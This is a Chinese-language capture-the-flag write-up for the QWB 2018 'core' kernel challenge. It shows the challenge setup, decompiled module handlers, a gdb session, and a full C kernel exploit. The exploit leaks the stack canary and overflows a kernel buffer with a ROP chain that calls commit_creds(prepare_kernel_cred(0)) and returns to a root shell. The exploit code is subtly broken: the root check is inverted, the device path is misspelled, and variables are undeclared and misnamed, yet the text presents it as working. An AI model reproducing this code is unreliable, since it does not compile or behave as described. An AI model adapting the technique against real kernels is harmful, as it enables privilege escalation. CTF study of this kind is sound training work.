qwb2018-core

给了四个文件(bzImage,core.cpio,start.sh,vmlinux),vmlinux是bzImage压缩前的文件,pop段全,若题目没给vmlinux,通过

1
2
./extract-vmlinux ./bzImage > vmlinux 
file vmlinux

先看start.sh:发现开启了kaslr,启动一下,若无法启动,将-m后的参数调大

1
2
3
4
5
6
7
8
qemu-system-x86_64 \
-m 256M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \

再看看init文件:很好,将kallsyms保存到tmp目录,所以可以通过打开/tmp/kallsyms目录找commit_creds和prepare_kernel_cred。将kptr_restrict设为1,就不能通过/proc/kallsyms找地址,将dmesg_restrict设为1,不能用dmesg看kernel信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0 -f

接下来查看vmlinux:开启kaslr没关系,因为我们可以通过找到vmlinux-0x9c8e0从而获得vmlinux_addr,vmlinux_addr-0xffffffff81000000=offset.这样就可以利用vmlinux文件中的pop段等。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
>>> from pwn import*
>>> vmlinux=ELF("vmlinux")
[*] '/home/voyager/qwb2018/vmlinux'
Arch: amd64-64-little
Version: 4.15.8
RELRO: No RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0xffffffff81000000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
>>> hex(vmlinux.sym["commit_creds"]-0xffffffff81000000)
'0x9c8e0'

将core.ko文件放入ida查看:

1
2
3
4
5
6
7
8
voyager@voyager-virtual-machine:~/qwb2018$ checksec core.ko
[*] '/home/voyager/qwb2018/core.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)
Stripped: No

先看core_ioctl:经典选择,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int64 fastcall core_ioctl(int64 a1, int64 a2, __int64 a3)
{
switch ( (_DWORD)a2 )
{
case 0x6677889B:
core_read(a3);
break;
case 0x6677889C:
printk(&unk_2CD, a3);
off = a3;
break;
case 0x6677889A:
printk(&unk_2B3, a2);
core_copy_func(a3);
break;
}
return 0LL;
}

​ core_read就是可以将v6[off]的值给到某个地址,所以我们可以自己设个buf[40],然后将内容读取到其中,又因为v6在rbp-0x50,所以我们在case 2中将off设为0x40,这样buf[0]就是canary,然后就是执行rop链了。

看core_write:将输入的内容输给&name,case 3有个qmemcpy(v3, &name, (unsigned __int16)a1);这样就可以造成溢出了

1
2
3
4
5
6
7
8
__int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
printk(&unk_215, a2);
if ( a3 <= 0x800 && !copy_from_user(&name, a2, a3) )
return (unsigned int)a3;
printk(&unk_230, a2);
return 4294967282LL;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
exp:
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
size_t vmlinux_commits,prepare_kernel_cred;
size_t raw_vmlinux_addr=0xffffffff81000000;
size_t user_cs, user_ss, user_sp, user_rflags;
void savestatus() {
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
} //保存寄存器
void getshell()
{
if(getuid()){
system("/bin/sh");
}
else{
puts("error");
exit(0);
}
} //getuid(),检验root,为0返回1
int getaddress()
{
FILE *fd=open("/tmp/kallsyms",'r');
char buf[0x50]=0;
char *ptr;
if(!fd){
puts("error");
return 0;
}
while(fgets(buf,sizeof(buf),fd)){
if(commit_creds&&prepare_kernel_cred){
printf("[+] Find: commit_creds: 0x%llx\n[+] Find: prepare_kernel_cred: 0x%llx\n", commit_creds, prepare_kernel_cred);
return 1;
}
if(strstr(buf,"commit_creds")){
commit_creds=strtoull(buf,ptr,16);
}
if(strstr(buf,"prepare_kernel_cred")){
prepare_kernel_cred=strtoull(buf,ptr,16);
}
}
return 0;
}
void main(){
savestatus();
getadress();
vmlinux_base=commit_creds-0x9c8e0;
size_t offset = vmlinux_base - raw_vmlinux_base;
size_t pop_rdi = 0xffffffff81679ba8 + offset;
size_t pop_rdx = 0xffffffff810a0f49 + offset;
size_t mov_rdi_rax = 0xffffffff8106a6d2 + offset; // mov rdi, rax; jmp rdx;
size_t swapgs = 0xffffffff81a012da + offset; // swapgs; popfq; ret;
size_t iretq = 0xffffffff81050ac2 + offset; // iretq; ret;
int fd=open("/pro/core",2);
if(!fd){
puts("error");
exit(0);
}
ioctl(fd,0x6677889C,0x40);
char user_buf[0x40] = {0};
ioctl(fd, 0x6677889B, user_buf);
size_t canary = ((size_t*)user_buf)[0];
printf("[+] Find canary: 0x%llx\n", canary);\
size_t rop[0x100];
int i=8;
rop[i++] = canary;
rop[i++] = 0;
rop[i++] = pop_rdi;
rop[i++] = 0;
rop[i++] = prepare_kernel_cred;
rop[i++] = pop_rdx;
rop[i++] = commit_creds;
rop[i++] = mov_rdi_rax;
//swapgs --> iretq: rip, cs, rflags, rsp, ss. GetShell
rop[i++] = swapgs;
rop[i++] = 0;
rop[i++] = iretq;
rop[i++] = (size_t)getshell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
write(fd,rop,sizeof(rop));
ioctl(fd,0x6677889A,0xffffffffffff0000|0x100);

}
1
2
3
4
5
gcc exp.c -static -masm=intel -g -o exp
./gen.sh
./start.sh
./exp
whoami

动态调试部分

补充一下部分动态调试的知识

1
2
3
4
5
6
7
/ # cat /sys/module/core/sections/.text
0xffffffffc0000000
/ # cat /sys/module/core/sections/.data
0xffffffffc0002000
/ # cat /sys/module/core/sections/.bss
0xffffffffc0002400
/ #

首先,关掉kaslr,将init文件加上root权限,su root -c sh然后进入内核调试模式,再开个终端,执行

1
2
3
4
5
6
7
gdb ./vmlinux
target remote:1234
add-symbol-file ./core.ko 0xffffffffc0000000 -s .data 0xffffffffc0002000 -s .bss 0xffffffffc0002400
b core_read
c
回到内核环境的那个终端
./test //就可以执行到core_read
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
test.c内容
因为IDA哪里有执行条件,所以试验了好久终于发现了

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>

#define CORE_READ 0x6677889B
#define CORE_WRITE 0x6677889A
#define CORE_OFF 0x6677889C

int main() {
int fd = open("/proc/core", O_RDWR);

// 触发 core_read
ioctl(fd, CORE_READ, 0);

close(fd);
return 0;
}

进去了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
► 0xffffffffc0000063 <core_read>       push   rbx
0xffffffffc0000064 <core_read+1> mov rbx, rdi RBX => 0
0xffffffffc0000067 <core_read+4> mov rdi, 0xffffffffc000107b
0xffffffffc000006e <core_read+11> sub rsp, irq_stack_union+72
0xffffffffc0000072 <core_read+15> mov rax, qword ptr gs:[0x28] RAX, [0xffff880009200028]
0xffffffffc000007b <core_read+24> mov qword ptr [rsp + 0x40], rax
0xffffffffc0000080 <core_read+29> xor eax, eax EAX => 0
0xffffffffc0000082 <core_read+31> call 0xffffffff810c6845 <printk>

0xffffffffc0000087 <core_read+36> mov rsi, qword ptr [rip + 0x2b72] RSI, [off]
0xffffffffc000008e <core_read+43> mov rdx, rbx
0xffffffffc0000091 <core_read+46> mov rdi, 0xffffffffc0001095
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp 0xffffc9000012be68 —▸ 0xffffffffc000019b (core_ioctl+60) ◂— 0xffffffffc000019b
01:0008│ 0xffffc9000012be70 —▸ 0xffff88000f58b540 ◂— 0xffff88000f58b540
02:0010│ 0xffffc9000012be78 —▸ 0xffffffff811dd6d1 (proc_reg_unlocked_ioctl+49) ◂— 0xffffffff811dd6d1
03:0018│ 0xffffc9000012be80 ◂— 0xffffc9000012be80
04:0020│ 0xffffc9000012be88 —▸ 0xffff88000f5c5700 ◂— 0xffff88000f5c5700
05:0028│ 0xffffc9000012be90 —▸ 0xffffffff8118ecfa (do_vfs_ioctl+138) ◂— 0xffffffff8118ecfa
06:0030│ 0xffffc9000012be98 —▸ 0xffffc9000012be70 —▸ 0xffff88000f58b540 ◂— 0xffff88000f58b540
07:0038│ 0xffffc9000012bea0 ◂— 0xffffc9000012bea0
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► 0 0xffffffffc0000063 core_read
1 0xffffffffc000019b core_ioctl+60
2 0xffff88000f58b540 None
3 0xffffffff811dd6d1 proc_reg_unlocked_ioctl+49
4 0x20085e889b None
5 0xffff88000f5c5700 None
6 0xffffffff8118ecfa do_vfs_ioctl+138
7 0xffffc9000012be70 None
────────────────────────────────────────────────────────────────────────────────
pwndbg>

内核环境启动

1
2
3
4
5
6
7
8
/ $ cat /tmp/kallsyms | grep commit_creds
ffffffff8109c8e0 T commit_creds
/ $ cat /tmp/kallsyms | grep prepare_kernel_cred
ffffffff8109cce0 T prepare_kernel_cred
/ $ cat /tmp/kallsyms | grep swapgs
ffffffff81a008da T swapgs_restore_regs_and_return_to_usermode
ffffffff81a0195d t nmi_swapgs

正常terminal

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
❯ objdump -d core.ko | grep -A 30 "<core_read>:"
0000000000000063 <core_read>:
63: 53 push %rbx
64: 48 89 fb mov %rdi,%rbx
67: 48 c7 c7 00 00 00 00 mov $0x0,%rdi
6e: 48 83 ec 48 sub $0x48,%rsp
72: 65 48 8b 04 25 28 00 mov %gs:0x28,%rax
79: 00 00
7b: 48 89 44 24 40 mov %rax,0x40(%rsp)
80: 31 c0 xor %eax,%eax
82: e8 00 00 00 00 call 87 <core_read+0x24>
87: 48 8b 35 00 00 00 00 mov 0x0(%rip),%rsi # 8e <core_read+0x2b>
8e: 48 89 da mov %rbx,%rdx
91: 48 c7 c7 00 00 00 00 mov $0x0,%rdi
98: 31 c0 xor %eax,%eax
9a: e8 00 00 00 00 call 9f <core_read+0x3c>
9f: 31 c0 xor %eax,%eax
a1: 48 89 e7 mov %rsp,%rdi
a4: b9 10 00 00 00 mov $0x10,%ecx
a9: f3 ab rep stos %eax,%es:(%rdi)
ab: 48 c7 c6 00 00 00 00 mov $0x0,%rsi
b2: 48 89 e7 mov %rsp,%rdi
b5: e8 00 00 00 00 call ba <core_read+0x57>
ba: 48 89 e6 mov %rsp,%rsi
bd: 48 03 35 00 00 00 00 add 0x0(%rip),%rsi # c4 <core_read+0x61>
c4: ba 40 00 00 00 mov $0x40,%edx
c9: 48 89 df mov %rbx,%rdi
cc: e8 00 00 00 00 call d1 <core_read+0x6e>
d1: 48 85 c0 test %rax,%rax
d4: 74 05 je db <core_read+0x78>
d6: 0f 01 f8 swapgs
d9: 5d pop %rbp

~/qwb2018 via C v11.4.0-gcc